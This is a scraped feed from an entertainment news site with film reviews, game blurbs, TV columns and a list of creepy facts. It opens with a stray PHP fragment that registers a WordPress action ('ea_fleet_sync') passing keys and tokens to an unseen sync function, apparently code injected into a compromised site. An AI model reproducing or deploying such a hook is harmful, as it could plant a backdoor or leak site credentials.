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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Unsettling – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 19:10:32 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Unsettling – Brief News https://briefnews.eu 32 32 The 10 Most Unsettling Moments In Don’t Worry Darling https://briefnews.eu/the-10-most-unsettling-moments-in-dont-worry-darling/ https://briefnews.eu/the-10-most-unsettling-moments-in-dont-worry-darling/#respond Mon, 26 Sep 2022 19:10:32 +0000 https://briefnews.eu/the-10-most-unsettling-moments-in-dont-worry-darling/

“Don’t Worry Darling” may have failed to impress overall, but it still offers plenty to discuss, including the bonkers ending. Themes about womanhood, autonomy, and technology knot together, accentuated with a dazzling performance from Florence Pugh as Alice. Harry Styles stars opposite as her workaholic husband Jack, alongside a cast that also includes director Olivia Wilde (as Bunny), Chris Pine (as Frank, founder of a community called The Victory Project), and KiKi Layne (Margaret). The tight-knit community, straight out of a 1950s copy of American Homes and Gardens magazine, is too pristine for its own good. As they say, if it’s too good to be true, it probably is. 

Cinematographer Matthew Libatique brings a crispness to the visual storytelling, and when events take a turn for the worse, so does the cinematography. There’s an especially suffocating dread that seeps into the edges in even the brightest of frames. As Alice loses her grip on reality, her mind wanders through bursts of hypnotically strange images that suggest something wicked is brewing beneath the surface. Throughout the film, the visual style directly compliments a growing unease and the characters’ measured devolution. We’ve selected the 10 most unsettling moments in “Don’t Worry Darling,” from Alice’s inescapable hallucinations to the big third-act reveal. Don’t worry, darling, it’s just a list, but do BEWARE OF MAJOR SPOILERS!

Discretion Above All Else

Frank, Victory Project founder, gives an insidiously chilling monologue to greet a new couple entering the community. Commanding the crowd, he asks one resident named Bill (Nick Kroll) about what the antithesis of progress is. Bill responds: “Chaos.” Frank repeats the word, and then the others in a creepy cult sort of way. As Alice (Florence Pugh) will later point out, it’s about control versus independence.

Frank continues to spout a charming yet eerie spiel about expectations men put upon women. From keeping a tidy home to making sure their husbands stay happy, it’s a dystopian nightmare, but above all else, Frank and the men expect discretion. Discretion could mean a myriad of things, including what’s really going on in headquarters or within each couple’s residence. Sometime later, Alice and Jack (Harry Styles) steal away inside Frank’s home. Jack fusses with his tie and Alice offers to help. Soon, they hook up in Frank’s bedroom. The risk of someone walking in is of no real concern … until Frank inches into the frame and watches them. He utters nary a word, only watching from a short distance. Alice notices, and Frank makes a “shhh” sign with his hand. If you need your first real red flag 一 ding, ding, ding! We have a winner!

The Story Of Margaret

Over garden cocktails, Bunny tells a haunting story of their next-door neighbor Margaret, who claims there’s something dark and sinister at work in the community. The story goes that Margaret took her young son out into the desert, far from the residential block where Victory Project headquarters lies, and fell into a daze.

When she awoke, her son was gone, and Margaret believes they took her son away as punishment for stumbling upon their plot. The film excels in casting the audience right inside Margaret’s head with hazy flashes depicting Bunny’s words. It’s as hypnotic a sequence as it is perfectly unsettling. There’s also the implication that Margaret has been irreparably affected by living in the cookie-cutter community, from an emotional and mental standpoint. Yet no one is concerned enough to find out exactly what’s going on, and that might be the most disturbing part of all.

Stepford Wives

The entire basis for the community is perfection and symmetry. The men leave for work at precisely the same moment every single morning. The wives vacuum their living rooms and the television set plays the same spooky cartoon. The days seem to topple into each other. One day doesn’t feel much different from the next.

Even in dance class, everyone’s movements are swan-like and in unison. “There’s beauty in control,” the instructor says. Striving for such excellence in every part of life should be upheld. When a new wife named Violet (Sydney Chandler) visits the class, a cloud of dread seems to fall across the other wives. At all costs, they must adhere to strict guidelines about presenting themselves, as evidenced when the instructor corrects Alice’s posture and chin placement. Taking obvious influence from “The Stepford Wives,” “Don’t Worry Darling” boosts everything up a notch in the unsettling department. The cleanliness of the community isn’t enough: The wives must be the picture of literal perfection.

Unexplained Plane Crash

Alice feels bored with life, so she takes the trolley out to town and then to the end of the line. While the driver makes a turn, Alice spots a lone biplane that’s caught on fire and billowing spoke. She watches as it crashes into a faraway mountain, and her attempts to get the driver to follow are unsuccessful. “We need to stay here where it’s safe,” he says, repeating a concerning refrain found throughout the film.

Alice instead hops off the trolley and heads out on her own. She walks and walks and walks until she’s in the same head fog that Margaret described. Hair disheveled and pouring sweat, she climbs higher and higher until she comes across a metal portal. She meets only glass windows and places her hands on the surface. Her mind is instantly thrown into a frenzy, as the cage surrounding her mental facilities chips away and she recalls long-forgotten memories. Frank’s voice can be heard spouting “we crave order” over distorted images of 1920s dancers and other peculiar pictures Alice can’t quite place. Almost in an instant, she wakes up back in her own bed at home as though nothing had happened. Jack is busy in the kitchen cooking up some pot roast and green beans, and he simply shrugs off her concerns as nothing more than a dream. The film can best be described as a gaslight hell.

Alice’s Wonderland

Alice tumbles through a host of other weird and unexplainable trances. While cleaning one of their glass windows, a spot appears that won’t come out. Alice scrubs and scrubs. Little does she know, the wall has begun closing in behind her. Picture frames dig into her back and nearly crush her skull. In a flash, her body jolts backward and it all fades away. Everything is as it should be. In another moment, she settles into the sofa in the living room to watch television. During a pool commercial, she spies herself flailing in the water and is quickly yanked into the water herself. She’s not struggling, though, merely floating in another place, bubbles reversing into her nostrils. Once again, she seems to rouse from a waking nightmare.

Throughout the film, Alice goes through countless more mind trips. She nearly drowns in a hot bath after a total sinking far below, then later reaches a breaking point and wraps her head in Saran Wrap until she rips it back off. All these smaller moments are unsettling on their own, and piecing them into a larger puzzle gives greater psychological weight to her state of being as well as to what may actually be going on behind the curtain.

Margaret’s Tragic Fate

Alice imagines seeing Margaret inside the glass walls during dance class in another hallucination. Margaret appears scared/anxious and slowly inches closer to the glass, mimicking Alice’s every move in the process. At first, the viewer assumes that Margaret is possibly trapped inside Alice, but she quickly reveals herself as being her own person. Margaret then proceeds to bash her head repeatedly against the glass until it splinters into a web-like design.

Later that day, Alice spies Margaret on top of her roof and approaches her. As she screams her name, Margaret takes out a knife and slits her own throat, blood spurting everywhere. She then turns and flies back to the ground, dead. The doctor and the other powers that be later claim Margaret is quite alright and has been stitched up. Alice questions every point of their story, repeating over and over again what she witnessed. In a separate conversation, the doctor admits that Margaret has some severe mental problems that have led to permanent treatment somewhere outside the community. Margaret’s death is nothing short of frightening, especially considering how easily the circumstances surrounding her story were swept under the rug. While KiKi Layne had limited screen time, her presence was captivating. Once she departed, her absence rang like a deafening siren.

Frank Comes To Dinner

“My god you fascinate me,” Frank whispers to Alice. During a dinner party, Frank surprises Alice in the kitchen and tells her how long he’s been waiting for someone to “challenge me.” He then reveals his condolences that Bunny didn’t believe her allegations that something’s off with the Victory Project. Frank inches closer to Alice, telling her that he’s happy she’s “preparing dinner like a good girl.” The moment is as gross as it is downright unnerving.

Later, Alice doesn’t hold back when it comes to confronting the other couples. She begins by asking Violet how she met her husband Bill (Douglas Smith), and it becomes clear the romantic meeting (dropping her ticket and Bill bending down to pick it up) has been recycled with countless other newlyweds. This bombshell causes a ripple through the guests, most noticeably with Bunny, yet Frank eats up every single moment of it. Despite many reactions to the film, “Don’t Worry Darling” delivers its commentary with relentless, sharp-toothed terror.

Abduction Of Alice

After agreeing (quite reluctantly) to run away together, Jack sells out Alice to Frank in a devastating turn of events. Alice packed up a getaway bag and hopped in the car. Jack looks obviously dejected. Alice glances up to see men in red suits dashing towards them, much to her horror. She begs not to be hauled away and declares she’ll be good for him. Like most of the film, Florence Pugh rips your heart out with her resounding screams alone.

Alice is taken to an undisclosed location and strapped into a hospital bed. Leather handcuffs dig into her skin, while she writhes and attempts to break free. She’s then given electroshock therapy, a cruel punishment to wash away all her memories and what she knows about the Victory Project. Flickering between images, the recent past bleeds into Alice’s distant past of working as a nurse and going home to a humble apartment in the city. Possessing long, stringy hair, Jack sits hunched over his computer and looks far removed from his clean-cut look in the ’50s hellscape. In this scene, two things are suggested: Alice is right about everything, and something far more troubling is at play. We don’t yet know the full extent of Frank’s sinister world, but we will soon. It’s already enough to make your blood run cold.

The Victory Project

The third act drops the ultimate twist: Not only is The Victory Project a facade, but it’s actually an immersive virtual reality experience. In real life, Alice has been kidnapped and tied down to a bed with an electronic scanning device attached to her eyes. Believing her to be unhappy in life, Jack took her hostage and trapped her inside a simulated world to live a perfect existence. For their part, the men can only log a certain number of hours inside the simulation and are required to leave for work promptly at the same time every single morning.

The Victory Project is the ultimate gaslighting. The wives are hushed into submission and forced to adhere to traditional gender roles far removed from modern progress and liberation. The finale also reveals Bunny knew everything from the beginning, but she’s unsure about the other wives. Unsettling doesn’t begin to describe this revelation. It’s a dystopian horror.

The Final Chase

All the chips are down when Alice kills Jack for what he’s done, then runs for her life. She burns rubber in Bunny’s car and zips off straight for headquarters in the desert. A slew of men in red suits charges after her. After causing a head-on collision between three vehicles, Alice furthers the distance between her and the others, eventually coming upon the metal gateway to the real world. When her car pops a tire, she makes her way on foot and barely manages to high-tail it up the winding gravel road.

Once at the top, she stops for a second before stepping forward and placing her hands on the glass. A red neon glow emanates from within and transports her consciousness back into her body. The screen cuts to black, and she heaves a sigh of relief and exasperation. She survives by the skin of her teeth. It’s a moment of triumph, but it’s not without a glistening edge of darkness. What about the other women? Do they finally get their own vengeance? With Frank dead, and his wife Shelley (Gemma Chan) reclaiming her life, it certainly seems The Victory Project is destined to burn from the inside out. We know better, though: Where there’s one cis white egomaniac, there are a dozen more to take his place.

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Football Game is an adventure game about a strange, discomforting night for Tommy, a high school football star who finds himself at the center of some dark events.

Football Game quickly weaves a bleak, unsettling atmosphere with its colors and visions of a dark world, as well as its choice of unsettling music. Tommy’s life may seem quite normal at first, but this game works quickly to make the player feel unsafe here long before things start to go awry.

Football Game is an experience best gone into blind, but if you have interest in twisted, Lynch-ian narratives and have an hour free, you probably won’t regret it.

Football Game is available for $ 2.19 on Itch.io, GameJolt, and Steam. For more information on the game and developer Cloak and Dagger Games, you can head to the developer’s site or follow them on YouTube and Twitter.

]]> https://briefnews.eu/football-game-promises-an-unsettling-night-for-a-local-high-school-football-hero/feed/ 0 ‘The Kindergarten Teacher’ Review: Maggie Gyllenhaal Takes Nurturing Education to a New, Unsettling Level [Sundance] https://briefnews.eu/the-kindergarten-teacher-review-maggie-gyllenhaal-takes-nurturing-education-to-a-new-unsettling-level-sundance/ https://briefnews.eu/the-kindergarten-teacher-review-maggie-gyllenhaal-takes-nurturing-education-to-a-new-unsettling-level-sundance/#respond Sun, 21 Jan 2018 06:14:03 +0000 http://briefnews.eu/the-kindergarten-teacher-review-maggie-gyllenhaal-takes-nurturing-education-to-a-new-unsettling-level-sundance/ The Kindergarten Teacher Review

At one point in the beguiling remake of the 2014 Israeli of the same name, a character in The Kindergarten Teacher evokes the name of Mozart as being a prime example of a child prodigy who was nurtured and otherwise taken care of by those who appreciated his unprecedented talent to the point where the young composer only had to focus on creating. When teacher Lisa Spinelli (Maggie Gyllenhaal, who appears in every frame of this film) discovers a possible poetry genius in her class of five year olds, she dares to consider what life would be like for young Jimmy Roy (newcomer Parker Sevak) if all he had to concern himself with was being creative.

For what seems like a fairly simple story, writer/director Sara Colangelo (following up her 2014 debut Little Accidents, which also debuted at Sundance) packs in a great deal for us to consider about Lisa’s mundane Staten Island existence as a 40-year-old wife and mother. She’s also a frustrated artist, taking a continuing-education course in poetry led by a charming but brutally critical teacher (Gael García Bernal), who makes it clear that Lisa functions best as an appreciator of art rather than a maker of it. Home life isn’t much better, as she’s surrounded by a family who she no longer feels connected to, including her husband (Michael Chernus), a son (Sam Jules) eager to join the military (she considers this a squandering of his talent and education), and a daughter (Daisy Tahan) who won’t remove her face from her phone.

Then one day after class, Lisa spots young Jimmy pacing around her otherwise empty classroom reciting a short poem he seems to have made up on the spot. It’s simple beauty and bold construction shock her, and almost on a whim, she presents the poem as her own to her class, the members of which are stunning by the maturity of the work. Lisa gently pushes the quiet, almost uncommunicative Jimmy, trying to tap into his inspiration and trigger new works. She enlists the boy’s nanny (Rosa Salazar) to document any new poems he comes up with at home. And little by little, we begin to see the seeds of obsession planted in Lisa’s head as she makes it her mission to nurture and encourage Jimmy’s gifts.

If The Kindergarten Teacher was nothing more than a tale of a teacher devoting herself to a single student’s success, it still might have been a solid work. But as Lisa begins to cross lines—little by little at first, and then more dramatically—the true nature of this story takes shape, and by the time we understand what is really happening, the movie is neck deep in its startling premise.

To watch Gyllenhaal transform several time during the course of the movie is a genuinely treat. When Lisa is passing off Jimmy’s poems as her own, she becomes a free-spirited artist, flirting with her teacher and even volunteering to read “her work” at a poetry club. But as her relationship with Jimmy evolves to the point where she takes over in the nanny job after school just to spend more time with him, she assumes the role of mentor and even protector—neither of which feels entirely appropriate in the moment. We also get to see Lisa just being a teacher to all of her young students, and Colangelo with cinematographer Pepe Avila del Pino capture what are clearly spontaneous moments between actor and young non-actors that sell Lisa’s gifts at getting this easily distracted kids to focus on her lessons. Later in the film, when she’s focusing most of her attention on Jimmy, we see these same skills (fine tuned over 20 years on the job) used to draw out thoughts and work from the boy. The elegant camera work, combined with Asher Goldschmidt’s pensive score, provide the perfect framework for this psychologically fragile piece.

The Kindergarten Teacher never explicitly asks the question, Would our reaction to what Lisa ultimately does in the film’s climax to ensure Jimmy get the attention she thinks he needs be different if it were a male teacher doing it? But it’s almost impossible not to contemplate the scenario were the genders reversed.

The film builds an exacting, creeping tension that lasts almost the duration of the running time. As a character, Lisa is inherently fascinating because it’s so easy to empathize with her plight of feeling trapped and frustrated in a life she likely never saw for herself. The only times in the movie where we see her light up are when poetry is involved, even when it’s not her own work. Perhaps unfairly so, she see Jimmy as the child she never had, one who actually followed her artistic lead and wanting desperately to please her. There’s a very good chance that certain audience members will leave the theater never liking Lisa because of some of the decisions she makes, but it seems clear that Colangelo finds it more importantly for us to understand Lisa than want to pal around with her.

While Gyllenhaal can be one of our most expressive actors, in some of her more recent work (including he astonishing take on sex workers in HBO’s “The Deuce”), she gets the most power by being a little more difficult to read. She seamlessly moves from aggressively manipulative to nurturing caregiver, often within the same scene And it’s that unpredictability that gives this movie its strength and grace, not to mention its most unnerving moments. Like the poems at its core, The Kindergarten Teacher has an almost undetectable depth that makes it its own special child.

/Film Rating: 8 out of 10

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In Joachim Trier‘s chilling, slow-burn coming-of-age thriller Thelma, a young woman’s emotions begin to manifest themselves in supernatural ways. It’s an eerie, effective film that burns itself into your mind and lingers long after the credits have rolled. Now the Thelma opening scene has appeared online to give you a better idea of the film’s unsettling tone.

In Thelma, Eili Harboe plays the eponymous character, a young woman who leaves home for university. Once there, Thelma finds herself attracted to another young woman (Kaya Wilkins), an attraction that seems to conflict with her stringent religious upbringing. The emotional angst Thelma experiences begins to manifest itself in unexpected, often supernatural ways. The opening scene for the film is now available to watch below.

Thelma opening scene

This opening scene doesn’t give much away, thankfully, and merely hints at the unsettling nature of the film to come. In the clip, we see a young Thelma (Grethe Eltervåg) hunting with her father (Henrik Rafaelsen), who clearly has other things on his mind. The strained relationship between Thelma and her father plays a very big part in the film, particularly near Thelma‘s disturbing conclusion. To say more would give too much away. Here’s the film’s official synopsis.

Thelma, a shy young student, has just left her religious family in a small town on the west coast of Norway to study at a university in Oslo.  While at the library one day, she experiences a violent, unexpected seizure.  Soon after, she finds herself intensely drawn toward Anja, a beautiful young student who reciprocates Thelma‘s powerful attraction.  As the semester continues, Thelma becomes increasingly overwhelmed by her intense feelings for Anja – feelings she doesn’t dare acknowledge, even to herself – while at the same time experiencing even more extreme seizures.  As it becomes clearer that the seizures are a symptom of inexplicable, often dangerous, supernatural abilities, Thelma is confronted with tragic secrets of her past, and the terrifying implications of her powers.

While Thelma is initially subtle in its tone, it eventually reveals itself to be a horror movie – though not the typical jump-scare laden horror most American audiences are used to. In his review for /Film, Jacob Hall said:

Thelma is ultimately a horror movie, albeit one that values quiet dread over more overt terror. The depiction of Thelma’s powers, and of her low-key retribution against those who want to stifle and destroy her, is quiet and weird and often painful. The people in Thelma’s life, from her new girlfriend to her well-meaning parents, are painted with a gentle brush. The film refuses to demonize any side and even finds sympathy for those who find Thelma wicked. Is Thelma’s odd nature, her powers and her sexuality, something that society must accommodate or something that can damage family units as we know them? The fact that I found Thelma’s journey cathartic and powerful says a lot about me. I’m sure others will disagree. To the film’s credit, there is never any doubt that her parents do not care about her…but what happens when a supposedly loving parent refuses to let a child find sexual and emotional fulfillment?

Thelma is now playing in select theaters.

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Audiences heading to see Annabelle: Creation this weekend (which is surprisingly good) will be treated to a sneak peek of the upcoming adaptation of Stephen King’s It. The preview consists of an entire scene, one of the most iconic moments of the book, and it sets the stage for what promises to be an unsettling adaptation of the classic horror novel.

For those of you who may not be into the scares of The Conjuring universe spin-off prequel (that’s a mouthful), we’ve already seen the scene in question, and provide a reaction to it below. Plus, if you’re looking for a new glimpse at Pennywise the Dancing Clown and the kids known as The Losers Club, you can see two new images from It down there as well. If you come with us, you’ll float too!

Before we get to the It sneak preview footage, check out a couple new photos from the movie from EW:

Stephen King's It
Stephen King's It

On the right, we get a shot of The Losers Club, played by Jaeden Lieberher, Jack Dylan Glazer, Finn Wolfhard, Wyatt Olef, Jeremy Ray Taylor, Chosen Jacobs and Sophia Lillis. They appear to be deep in Pennywise’s sewer layer, where surely some terror awaits them.

On the left, we see that terror with Bill Skarsgard as Pennywise the Dancing Clown. But as Stephen King fans know, Pennywise isn’t really a clown, but rather an eternal, shapeshifting force of evil who has taken the form of a clown with influences from Medieval, Renaissance, Elizabethan, and Victorian eras. As director Andy Muschietti explains, this isn’t a monster who hides in the shadows all the time, “He is present. It’s not like one of those movies where you can hide the monster. He’s front and center, he does his show, and he has an act. He is a clown.”

Bill Skarsgard echoes those sentiments when he says, “It truly enjoys the shape of the clown Pennywise, and enjoys the game and the hunt. What’s funny to this evil entity might not be funny to everyone else. But he thinks it’s funny.” Indeed, we get to see Pennywise having some fun in the sneak preview playing with Annabelle: Creation this weekend, by way of one of the most famous scenes from the book.

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Georgie Meets Pennywise

The scene playing in theaters this weekend is when little Georgie Denbrough encounters the creepy clown in the sewers of his neighborhood. After the flow of rain into the street drainage system sends his paper sailboat that his brother made him into the sewer, he’s met by a clown with glowing yellow eyes and sharp buckteeth.

Pennywise is creepy and friendly at the same time, like any monster trying to trap a kid would be, his eyes becoming a little less sinister by turning blue. He asks Georgie where his brother is, talks with the kid about the smells and sounds of the circus, and gets excited about popcorn. It’s all very unnerving knowing how monstrous Pennywise is at his core. There’s a lot of tension at work here, heightened by Bill Skarsgard’s outstanding performance.

Bill Skarsgard isn’t doing a performance like that of Tim Curry in the miniseries adaptation. Not only does his voice fluctuate between a higher pitched joyful tone to a deeper, more menacing sound, but the cadence of his dialogue adds a touch of uneasiness to the proceedings. Even creeper is how moist the clown’s lips are, occasionally dripping with a bit of slobber, presumably because he’s so hungry for the taste of children (which, as we learned during our set visit, was a happy accident after Skarsgard’s make-up ended up producing a lot of drool).

There’s one particular moment where Pennywise goes quiet, his eyes looking wonky, one slowly veering away from gazing at Georgie, before the clown regains his train of thought. It’s a very odd moment, but it makes for an even scarier exchange between the clown and this boy.

If you want to see more from the movie, watch the most recent It trailer right here, and be sure to check out our reaction to some extended clips that were shown at San Diego Comic-Con.

New Line Cinema’s horror thriller “IT,” is based on the hugely popular Stephen King novel of the same name, which has been terrifying readers for decades.

When children begin to disappear in the town of Derry, Maine, a group of young kids are faced with their biggest fears when they square off against an evil clown named Pennywise, whose history of murder and violence dates back for centuries.

It is coming for you in theaters on September 8, 2017.

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Storyville: Tokyo Girls offers an unsettling look at Japan’s “idol girls”

Shown in clip form, with gleefully appalled commentary from the likes of Clive James and Chris Tarrant, this show featured hapless individuals undergoing eye-watering ordeals in return for cash prizes.

We’ve now, thankfully, got quite a bit more insight into Japanese society and it has gone from being a country that slightly appals us to somewhere with a lifestyle we admire.

No one was eating sushi for lunch when Clive James was first showing us clips of Endurance.

It’s odd though that however much of someone else’s culture we take on, some other bits will always make us reel.

Storyville: Tokyo Girls (BBC4) offered an unsettling look at Japan’s “idol girls” and a wider, deeper, stranger fascination with youth.

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In small, sweaty rooms, she danced and pranced in skimpy outfits, before groups of far older men, shouting words like “Faith!” and “Pilgrimage!”.

Just like pilgrims, these men shelled out small fortunes for little tokens of their contact with Rio, from signed photos to CDs of her music and the briefest of handshakes.

Were they in love with her?

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You wondered whether they were paying for contact with Rio or just to have contact with each other.

However weird it all seemed, you had to admire Rio, sitting up all night packaging stuff in bubble wrap to send to her fans, cycling thousands of miles across Japan to boost her profile.

Other parts of the “idol” world were less easy to stomach.

At one gathering, the girls were in their mid-teens and looked younger.

Men old enough to be fathers and grandfathers cheered the kids on as they hopped about on stage and then crowded in for a precious few moments of chat at the end.

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The show features hapless individuals undergoing eye-watering ordeals in return for cash prizes

A couple of the girls’ mums were interviewed and said they’d had doubts at first but not anymore.

These men were all nice, they insisted, just like fathers.

Maybe they had a point. Maybe, in this rigid and very competitive society, some men just fall by the wayside and if they want to have a girlfriend or be a father they can only act out a weird parody of it, for cash.

It’s common for documentaries to tell us they’ve been made with “unprecedented access” to this person or that institution, so that we feel especially privileged as viewers and overlook any shortcomings.

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A lot of time was spent telling us how overstretched the resources are

Hospital (BBC2) does not employ the phrase, and wisely so, since I honestly can’t recall a week when there hasn’t been a television documentary filmed inside a hospital.

They’re never lacking in compassion or insight and last night’s, laying bare the complex and delicate relationship between private and NHS care, was no exception.

Like many other programmes, however, a lot of time was spent telling us how overstretched the resources are, and how desperately overburdened the highly skilled staff.

This is true. In which case, how are all the film crews helping?

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1. The average person walks past at least 16 murderers in their lifetime.

The average person walks past at least 16 murderers in their lifetime.

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Some badass on Reddit did the math for someone living in an average-sized city:
10 new people per day x 365 days per year x 71 years of living = about 260,000 separate individuals somebody might walk by. 260,000 people in a lifetime x 6 murderers per 100,000 people = 15.6, or about 16 murderers.

—rae4b5c

There are little bugs that live on your face and eat the dead skin off of it.

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They’re called “demodex mites,” and the older you are, the more there are in your follicles. They’re spread by skin-to-skin contact — try to forget that when you get a nice ‘ol kiss from Gramma.

—evelynspencer02

In rare instances, dead women can give birth.

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It’s called “coffin birth,” and can happen when a pregnant corpse releases gas while decomposing that expels the dead fetus out. This can happen within 48-72 hours of the mom’s death.

—Eunice Villanueva, Facebook

4. Over 1,600 people have gone missing in U.S. National Parks, never to be seen again.

Over 1,600 people have gone missing in U.S. National Parks, never to be seen again.

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Unfortunately, these people tend to stay missing because tracking them is insanely difficult — even after the U.S. government put an analysis and reporting system in place after 9/11.

—sama18

5. There is a parasite that destroys the tongue of a fish and then replaces the tongue with its own body.

There is a parasite that destroys the tongue of a fish and then replaces the tongue with its own body.

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Essentially it transforms itself into a living, parasitic, but fully-functioning and otherwise harmless tongue. It’s called cymothoa exigua.

—abozyk5

7. In 1518, there was a dancing plague where about 400 people began to involuntary dance for days on end.

In 1518, there was a dancing plague where about 400 people began to involuntary dance for days on end.

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Healthcare professionals assumed that they were shaking off a fever. Some people died of a heart attack, exhaustion, or even strokes.

—hipsterfox

8. There’s a parasite in cat poop that can literally control rats’ minds, should they eat it.

There's a parasite in cat poop that can literally control rats' minds, should they eat it.

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It’s called Toxoplasma gondii, and it changes a rat’s mind function to make them drawn to the smell of cat urine, making it easier for cats to find and catch the rat. Literally leading the rat to its death.

—gracecrxmb

10. Serial killer Dennis Rader would sometimes spend time in his victim’s houses, hiding in their closets until they were at their most vulnerable.

Serial killer Dennis Rader would sometimes spend time in his victim's houses, hiding in their closets until they were at their most vulnerable.

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Also known as the BTK Killer (Bind, Torture, Kill), he’d kill entire families and steal things from their homes from the ’70s to the ’90s. ALWAYS CHECK YOUR HOUSE FOR MURDERERS.

—Megan Brooke Klaine, Facebook

11. There’s a zombie fungus that basically enslaves ants for its own benefit until it kills them.

There's a zombie fungus that basically enslaves ants for its own benefit until it kills them.

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It’s called desmidiospora myrmecophila, a furry, parasitic fungus that causes infected insects to behave strangely.

—msg0311

16. Your brain can play tricks on you to make you see monsters in the mirror, called the Troxler Effect.

Your brain can play tricks on you to make you see monsters in the mirror, called the Troxler Effect.

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The Troxler Effect is an optical illusion that affects how you perceive things, both visually and mentally. Spooky.

—sarat44

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Yurei Station is a point and click adventure built around Japanese ghost stories, one that starts off with an unsettling text from a friend. Your mission is to find out what happened to them and help them – if you can.

The biggest drawing point, personally, was the visuals. The game prides itself on having all hand-painted graphics with pencils and watercolors. It’s amazing how well they settle within the game, creating an eerie, yet compelling, look. The game was developed within 2 days, so it’s relatively short, but it has a very unsettling atmosphere and a story that makes players beg for more.

Within the game, you will have to solve a few puzzles with only the hints provided in the unsettling text messages you receive. The game won’t hold your hand through these, so you’ll have to figure them out on your own.

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What if I don’t want to live with Sarah Beeny? It’s one thing being mortgage free but what with queues for the bathroom, disputes over dinner choices and TV viewing choices and people perpetually forgetting to plug in the iPad and so on, my home life is complicated enough. 

What sort of hours would Sarah Beeny keep? Unsocial ones, I imagine, what with her always being off filming and running her property website. 

She likes baths, she said as much in last night’s programme.

So how long does she spend in them? Does she always rinse out afterwards? 

It strikes me that regardless of the great allure of mortgage freedom, having to have Sarah Beeny as a permanent house guest could be a major catch. 

There was a major catch attached to all the debt-free domestic dream scenarios in last night’s programme. 

Take Freddie. Freddie was going to stick a self-built love nest on the back of a bale trailer in the middle of the Kent countryside. 

More accurately it was the middle of his family’s land, in the Kent countryside. 

So if you should want to do similar, you need some ancestral land or the funds to rent some from someone else. Which sounds a bit like a mortgage to me. 

Then there was Charlie. Charlie had constructed something truly brilliant out of six shipping containers. 

He was a skilled welder, and had spent around year’s worth of 12-hour days on his construction. 

There is a skill to watching and enjoying programmes of this sort, and the skill lies in not paying much attention to the title. 

Obviously there’s the Sarah Beeny bit to overlook, for a start. 

There is also, more significantly, the “How To”, which carries tones of “You Too” and “Anyone Can Do It”. 

Now this is plainly not true. I’d like to hand this programme title to some really pernickety lawyers and see what they did with it. 

It might end up something like Anyone Can Live Mortgage Free Provided They Have Some Land And Are Highly Skilled Builders Who Don’t Need To Earn Any Money For A Year. 

Alternatively you can just watch it, admire the ingenuity of others, envy them their light-filled, sustainable, low-impact and lovely mortgage-free lives and don’t think too much about your own for an hour. Or the title. 

On the subject of heavy borrowing, various TV programmes of late have shown us what reliance the police have on technology and not necessarily their own. 

The final case in Reported Missing (BBC1) concerned Archie, an elderly widowers who’d walked out of his house one morning and vanished. 

It ended on a happier note, with the formidable Archie, a former Para, being found confused and weak after a couple of nights out in the cold, but otherwise okay. 

The success of the operation depended chiefly on calls from concerned members of the public, who’d seen him heading out of town on a specific road. 

The earlier stages, however, relied much on footage of Archie in his own street, captured by CCTV cameras mounted on his neighbours’ houses. 

At one time, bear in mind, no one put these things up to deter or catch crooks, as that was what the police did.

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